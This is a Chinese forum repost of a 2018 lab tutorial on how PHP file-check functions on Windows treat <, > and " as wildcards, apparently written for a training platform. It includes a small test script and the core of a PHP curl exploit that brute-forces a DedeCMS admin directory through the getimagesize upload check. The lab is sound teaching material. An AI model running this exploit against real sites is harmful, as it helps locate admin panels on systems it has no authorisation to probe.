搜索

[19242] 2018-03-09_【动手实验】文件判断函数的安全风险

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2018-03-09_【动手实验】文件判断函数的安全风险 【 动 手 实 验 】 文 件 判 断 函 数 的 安 全 风 险 i 春 秋   2 0 1 8 - 0 3 - 0 9 P H P 的 特 性 包 括 ： 的 特 性 包 括 ： 1 .   P H P 独 特 的 语 法 混 合 了   C 、 J a v a 、 P e r l   以 及   P H P   自 创 新 的 语 法 ； 2 .   P H P 可 以 比 C G I 或 者 P e r l 更 快 速 的 执 行 动 态 网 页 — — 动 态 页 面 方 面 ， 与 其 他 的 编 程 语 言 相 比 ， P H P 是 将 程 序 嵌 入 到 H T M L 文 档 中 去 执 行 ， 执 行 效 率 比 完 全 生 成 H T M L 标 记 的 C G I 要 高 许 多 ； P H P 具 有 非 常 强 大 的 功 能 ， 所 有 的 C G I 的 功 能 P H P 都 能 实 现 ； 3 .   P H P 支 持 几 乎 所 有 流 行 的 数 据 库 以 及 操 作 系 统 ； 4 .   最 重 要 的 是 P H P 可 以 用 C 、 C + + 进 行 程 序 的 扩 展 。 所 有 文 件 操 作 函 数 都 属 于 敏 感 函 数 ， 当 此 类 函 数 使 用 不 当 或 者 不 安 全 引 用 ， 就 会 导 致 业 务 逻 辑 上 出 现 问 题 ， 会 导 致 诸 多 安 全 隐 患 的 发 生 ， 例 如 ： 任 意 文 件 下 载 、 任 意 文 件 写 入 、 任 意 文 件 删 除 等 漏 洞 。 小 爱 将 引 用 一 个 d e d e c m s 的 实 例 ， 讲 解 P H P 在 不 安 全 的 情 况 下 引 用 此 类 函 数 时 造 成 的 危 害 ， 简 述 P H P 在 W i n d o w s 上 的 特 性 哟 ~ 实 验 环 境 实 验 环 境 目 标 机 :   W i n d o w s   S e r v e r   2 0 0 3 目 标 机 I P :   1 7 2 . 1 6 . 1 2 . 2 目 标 环 境 :   A p a c h e   +   P H P   5 . 3   +   d e d e c m s V 5 6 操 作 机 :   W i n d o w s   X P 操 作 机 I P :   1 7 2 . 1 6 . 1 1 . 2 工 具 下 载 地 址 :   h t t p : / / t o o l s . i c h u n q i u . c o m / y 6 8 8 t 6 z 4 实 验 目 的 实 验 目 的 认 识 常 见 的 P H P 函 数 了 解 P H P 文 件 判 断 函 数 风 险 了 解 文 件 操 作 可 能 带 来 的 业 务 逻 辑 漏 洞 实 验 工 具 实 验 工 具 H a c k b a r :   H a c k b a r 是 F i r e f o x 火 狐 浏 览 器 中 的 插 件 , 该 工 具 栏 将 帮 助 您 测 试 S Q L 注 入 ， X S S 漏 洞 和 网 站 安 全 性 。 其 主 是 帮 助 开 发 人 员 对 他 的 代 码 进 行 安 全 审 计 。 能 够 快 速 对 字 符 串 进 行 各 种 编 码 。 P H P 是 以 C 语 言 为 底 层 语 言 的 通 用 开 源 脚 本 语 言 ， 支 持 几 乎 所 有 流 行 的 数 据 库 以 及 操 作 系 统 ， 执 行 效 率 比 完 全 生 成 H T M L 标 记 的 C G I 要 高 许 多 ， 主 要 适 用 于 W e b 开 发 领 域 。
实 验 内 容 实 验 内 容 本 实 验 将 介 绍 P H P 部 分 函 数 , 当 在 W i n d o w s 上 使 用 P H P 时 会 调 用 一 个 F i n d F i r s t F i l e E x W ( ) 的 底 层 W i n d o w s   A P I 函 数 时 会 存 在 一 些 特 性 讲 解 其 中 一 部 分 函 数 不 安 全 使 用 时 带 来 的 漏 洞 , 还 将 结 合 使 用 一 个 d e d e c m s 实 例 ， 利 用 P H P 在 W i n d o w s 上 的 特 性 找 到 其 后 台 ， 以 方 便 我 们 深 入 理 解 这 些 函 数 可 能 会 带 来 的 危 害 。 P H P 语 言 某 些 函 数 就 在 W i n d o w s 系 统 上 拥 有 了 如 下 奇 妙 的 特 性 ： 大 于 号 ( > ) 相 等 于 通 配 符 问 号 ( ? )   小 于 号 ( < ) 相 当 于 通 配 符 星 号 ( * ) 双 引 号 ( " ) 相 当 于 点 字 符 ( . ) 这 个 特 性 很 早 之 前 就 已 经 被 国 外 的 安 全 研 人 员 发 现 在 P H P 的 g e t i m a g e s i z e 方 法 中 就 存 在 这 个 特 性 。 在 P H P 源 码 p h p - s r c e x t s t a n d a r d i m a g e . c 中 有 该 方 法 的 具 体 定 义 ： . . . / *   { { {   p r o t o   a r r a y   g e t i m a g e s i z e ( s t r i n g   i m a g e f i l e   [ ,   a r r a y   i n f o ] )       G e t   t h e   s i z e   o f   a n   i m a g e   a s   4 - e l e m e n t   a r r a y   * / P H P _ F U N C T I O N ( g e t i m a g e s i z e ) {       p h p _ g e t i m a g e s i z e _ f r o m _ a n y ( I N T E R N A L _ F U N C T I O N _ P A R A M _ P A S S T H R U ,   F R O M _ P A T H ) ; } . . . 在 g e t i m a g e s i z e 方 法 中 调 用 了 p h p _ g e t i m a g e s i z e _ f r o m _ a n y 方 法 , 若 使 用 动 态 调 试 来 简 化 整 个 分 析 过 程 ， 逐 层 追 踪 后 可 发 现 g e t i m a g e s i z e 调 用 顺 序 如 下 ： P H P _ F U N C T I O N ( g e t i m a g e s i z e ) p h p _ g e t i m a g e s i z e _ f r o m _ a n y . . . t s r m _ r e a l p a t h _ r F i n d F i r s t F i l e E x W 本 实 验 动 态 调 试 不 做 重 点 说 明 ， 详 细 过 程 请 参 考 以 下 链 接 :   h t t p s : / / x i a n z h i . a l i y u n . c o m / f o r u m / t o p i c / 2 0 0 4 最 终 可 以 看 见 P H P 的 g e t i m a g e s i z e 方 法 最 终 调 用 了 W i n d o w s   A P I 里 的 F i n d F i r s t F i l e E x W ( ) 事 实 上 ， 由 于 P H P 在 语 言 层 面 并 没 有 过 滤 、 禁 止 对 < 、 > 这 些 特 殊 字 符 的 使 用 ， 除 g e t i m a g e s i z e   函 数 外 ， 任 何 调 用 该 W i n d o w s   A P I 方 法 的 文 件 判 断 函 数 都 可 能 存 在 以 上 问 题 。 实 验 步 骤 实 验 步 骤 本 实 验 我 们 将 用 一 个 调 用 了 这 个 w i n a p i 的 具 体 实 例 g e t i m a g e s i z e 函 数 讲 解 ， P H P 的 函 数 在 调 用 了 这 个 底 层 w i n a p i 的 方 法 时 会 存 在 的 问 题 。 还 将 引 用 d e d e c m s 作 为 一 个 高 级 实 例 ， 当 不 安 全 引 用 同 样 使 用 该 底 层 w i n a p i 的 方 法 的 g e t i m a g e s i z e 这 个 函 数 会 存 在 的 安 全 风 险 。 步 骤 步 骤 1   本 地 验 证 本 地 验 证 g e t i m a g e s i z e ( ) 函 数 函 数 使 用 我 们 实 验 中 搜 索 工 具 E v e r y t h i n g , 找 到 我 们 的 p h p s t u d y 安 装 环 境 。 安 装 P H P 环 境
安 装 完 成 之 后 我 们 在 C : p h p S t u d y w w w 目 录 下 新 建 一 个 t e s t . p h p 文 件 验 证 g e t i m a g e s i z e 函 数 的 特 性 ， 这 个 路 径 根 据 p h p S t u d y 安 装 路 径 有 关 ， 请 根 据 实 际 情 况 而 定 。 接 下 来 我 们 在 C : p h p S t u d y w w w 新 建 一 个 目 录 a s d a s d a s d 使 用 我 们 实 验 中 提 供 的 文 件 搜 索 工 具 E v e r y t h i n g , 输 入 p n g 搜 索 任 意 一 张 图 片 ， 这 里 我 们 选 择 1 . p n g , 放 置 在 我 们 新 建 的 a s d a s d a s d 目 录 下 t e s t . p h p 代 码 如 下 ：
< ? p h p $ a   =     $ _ G E T [ ' i m g ' ] ; e x e c ( ' p a u s e ' ) ;     i f ( @ g e t i m a g e s i z e ( $ a ) ) {           e c h o   " o k " ;     } e l s e {           e c h o   " n o " ;     }     ? > 准 备 完 成 之 后 ， 接 下 来 我 们 访 问 一 下 t e s t . p h p 访 问 地 址 h t t p : / / 1 2 7 . 0 . 0 . 1 / t e s t . p h p ? i m g = C : p h p S t u d y w w w a < 1 . p n g 页 面 返 回 o k , 可 见 正 常 路 径 中 原 本 应 该 是 a s d a s d a s d 的 目 录 名 ， 被 我 们 使 用 a < 代 替 , g e t i m a g e s i z e 利 用 该 特 性 成 功 加 载 图 片 文 件 。 步 骤 步 骤 2   d e d e c m s 后 台 地 址 猜 解 后 台 地 址 猜 解 下 面 这 个 例 子 我 们 可 以 使 用 本 节 实 验 中 提 供 的 脚 本 获 取 到 d e d e c m s 的 后 台 地 址 这 个 漏 洞 发 生 在 g e t i m a g e s i z e 函 数 中 ， 而 P H P 的 g e t i m a g e s i z e 方 法 最 终 也 是 调 用 了 前 文 中 讲 到 的 W i n d o w s   A P I 里 的 F i n d F i r s t F i l e E x W ( ) ， 上 文 中 也 说 明 了 这 里 W i n d o w s 上 又 对 < 、 > 、 " 三 个 字 被 赋 予 了 不 同 的 含 义 。 正 是 这 个 原 因 导 致 了 d e d e c m s 的 后 台 可 被 爆 破 到 这 里 我 们 还 是 先 看 看 漏 洞 的 触 发 条 件 在 d e d e c m s 中 的 u p l o a d s a f e . i n c . p h p 中 的 核 心 代 码 如 下 . . . i f ( i n _ a r r a y ( s t r t o l o w e r ( t r i m ( $ { $ _ k e y . ' _ t y p e ' } ) ) ,   $ i m t y p e s ) ) {         $ i m a g e _ d d   =   @ g e t i m a g e s i z e ( $ $ _ k e y ) ;           i f   ( ! i s _ a r r a y ( $ i m a g e _ d d ) )         {                 e x i t ( ' U p l o a d   f i l e t y p e   n o t   a l l o w ! ' ) ;         } } . . . 此 处 u p l o a d s a f e . i n c . p h p 中 直 接 调 用 了 g e t i m a g e s i z e 方 法 获 取 文 件 的 s i z e ， 获 取 不 到 说 明 不 是 图 片 或 者 图 片 不 存 在 ， 不 存 就 e x i t   u p l o a d . . . .   , 利 用 这 个 逻 辑 猜 目 录 的 前 提 是 目 录 内 有 图 片 格 式 的 文 件 。 此 时 在 d e d e c m s 的 t a g s . p h p 中 加 载 了 c o m m o n . i n c . p h p 文 件 。
在 c o m m o n . i n c . p h p 大 概 1 4 8 行 左 右 加 载 了 u p l o a d s a f e . i n c . p h p i f ( $ _ F I L E S ) {         r e q u i r e _ o n c e ( D E D E I N C . ' / u p l o a d s a f e . i n c . p h p ' ) ; } 到 此 我 们 可 以 得 到 文 件 引 用 关 系 为 : t a g s . p h p   - >   c o m m o n . i n c . p h p   - >   u p l o a d s a f e . i n c . p h p   - >   g e t i m a g e s i z e ( ) E X P 分 析 与 利 用 分 析 与 利 用 在 实 验 环 境 中 会 提 供 我 们 在 互 联 网 上 收 集 的 e x p 访 问 我 们 的 工 具 库 h t t p : / / t o o l s . i c h u n q i u . c o m / y 6 8 8 t 6 z 4 下 载 我 们 现 在 把 e x p 中 的 主 要 代 码 分 段 讲 解 一 下 ： . . . i f ( $ p a t h )   {         w h i l e ( ( $ p a t h   =   m y _ f u n c ( $ u r l ,   $ p a t h ) ) )   {                 e c h o   s t r t o l o w e r ( $ p a t h )   .   " r n " ;         } } e l s e   {         f o r ( $ i   =   4 8 ;   $ i   < =   9 0 ;   $ i + + )   {                 i f ( ( 4 8   < =   $ i   & &   $ i   < =   5 7 )   o r ( 6 5   < =   $ i   & &   $ i   < =   9 0 ) )   {                         $ p a t h   =   m y _ f u n c ( $ u r l ,   c h r ( $ i ) ) ;                         w h i l e ( $ p a t h )   {                                 e c h o   s t r t o l o w e r ( $ p a t h )   .   " r n " ;                                 $ p a t h   =   m y _ f u n c ( $ u r l ,   $ p a t h ) ;                       }                 }         } } . . . 这 里 的 i f ( ( 4 8   < =   $ i   & &   $ i   < =   5 7 )   o r   ( 6 5   < =   $ i   & &   $ i   < =   9 0 ) ) 这 段 代 码 可 以 参 考 a s c i i 码 表 就 可 以 理 解 数 字 具 体 含 义 就 是 把 所 有 的 目 录 可 能 会 出 现 的 情 况 0 - 9   、   a - z , 按 位 带 入 程 序 中 去 穷 举 匹 配 下 面 的 代 码 是 整 个 e x p 的 核 心 部 分 . . . f u n c t i o n   m y _ f u n c ( $ u r l ,   $ p a t h   =   ' ' )   {         $ c h   =   c u r l _ i n i t ( $ u r l ) ;         $ i   =   4 8 ;         g l o b a l   $ v e r s i o n ;                 w h i l e ( $ i   < =   9 0 )   {                         i f ( ( 4 8   < =   $ i   & &   $ i   < =   5 7 )   o r   ( 6 5   < =   $ i   & &   $ i   < = 9 0 ) )   {                                 i f ( $ v e r s i o n   ! =   ' 5 . 7 ' )   {                                         / *   v 5 . 6 版 本 及 其 以 下   * /                                         $ a d m i n _ p a t h   =   ' . / '   .   $ p a t h   .   c h r ( $ i )   .   ' < / i m g / a d m i n _ t o p _ l o g o . g i f ' ;                                 }                               e l s e   {                                         / *   v 5 . 7 版 本   * /                                         $ a d m i n _ p a t h   =   ' . / '   .   $ p a t h   .   c h r ( $ i )   .   ' < / i m a g e s / a d m i n _ t o p _ l o g o . g i f ' ;                                 }                                 $ d a t a   = ' d o p o s t = s a v e & _ F I L E S [ b 4 d b o y ] [ t m p _ n a m e ] = '   .   $ a d m i n _ p a t h   .   ' & _ F I L E S [ b 4 d b o y ] [ n a m e ] = 0 & _ F I L E S [ b 4 d b o y ] [ s i z e ] = 0 & _ F I L E S [ b 4 d b o y ] [ t y p e ] = i m a g e / g i f ' ;                               $ o p t i o n s   =   a r r a y (                                                                 C U R L O P T _ U S E R A G E N T   = >   ' F i r e f o x / 5 8 . 0 ' ,                                                                 C U R L O P T _ R E T U R N T R A N S F E R   = >   t r u e ,                                                               C U R L O P T _ P O S T   = >   t r u e ,                                                                 C U R L O P T _ P O S T F I E L D S   = >   $ d a t a ,                                 ) ;                                 c u r l _ s e t o p t _ a r r a y ( $ c h ,   $ o p t i o n s ) ;                                 $ r e s p o n s e   = c u r l _ e x e c ( $ c h ) ;                                 i f ( ! p r e g _ m a t c h ( ' / ( U p l o a d   f i l e t y p e   n o t   a l l o w   ! ) / i ' ,   $ r e s p o n s e ) )   {                                         $ p a t h   =   $ p a t h   .   c h r ( $ i ) ;                                         r e t u r n   $ p a t h ;                                 }                         }                       $ i + + ;                 } . . . 这 个 e x p 就 是 利 用 了 d e d e c m s 在 设 计 时 的 一 个 小 缺 陷 ， 当 某 个 目 录 中 存 在 一 个 图 片 文 件 时 ， 程 序 会 返 回 正 确 ， 当 不 存 在 时 程 序 会 抛 出 异 常 , 提 示 U p l o a d   f i l e t y p e   n o t   a l l o w   ! 。 此 时 在 d e d e c m s 的 前 台 中 可 以 直 接 调 用 g e t i m a g e s i z e ( ) 方 法 ， 这 时 候 我 们 选 取 了 d e d e c m s 的 后 台 目 录 中 的 一 个 已 知 图 片 a d m i n _ t o p _ l o g o . g i f 配 合 我 们 进 行 猜 解 。 具 体 参 见 下 列 代 码 ： $ a d m i n _ p a t h   =   ' . / '   .   $ p a t h   .   c h r ( $ i )   .   ' < / i m g / a d m i n _ t o p _ l o g o . g i f ' ; 这 样 就 可 以 我 们 前 面 讲 到 的 通 配 符 < ， 来 进 行 匹 配 后 台 地 址 ， 对 后 台 地 址 逐 位 穷 举 ， 这 就 是 我 们 这 个 e x p 的 中 心 思 想 。 具 体 操 作 如 下 ： 将 我 们 下 载 的 e x p . p h p , 放 入 P H P 安 装 目 录 中 ， 这 里 我 们 放 入 c : p h p S t u d y p h p 5 3 下 ， 这 个 路 径 根 据 p h p S t u d y 安 装 路 径 和 选 择 的 P H P 版 本 有 关 ， 请 根 据 实 际 情 况 而 定 。
成 功 猜 解 出 后 台 地 址 。
实 验 结 果 分 析 与 总 结 实 验 结 果 分 析 与 总 结 问 题 的 产 生 的 根 本 原 因 P H P 调 用 了 W i n d o w s   A P I 里 的 F i n d F i r s t F i l e E x W ( ) / F i n d F i r s t F i l e ( ) 方 法 该 W i n d o w s   A P I 方 法 对 于 这 个 三 个 字 符 做 了 特 殊 的 处 理 感 兴 趣 的 同 学 还 可 以 根 据 我 们 实 验 的 思 路 发 现 其 他 的 使 用 方 法 及 漏 洞 。 戳 阅 读 原 文 ， 参 与 实 验 吧 戳 阅 读 原 文 ， 参 与 实 验 吧 ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理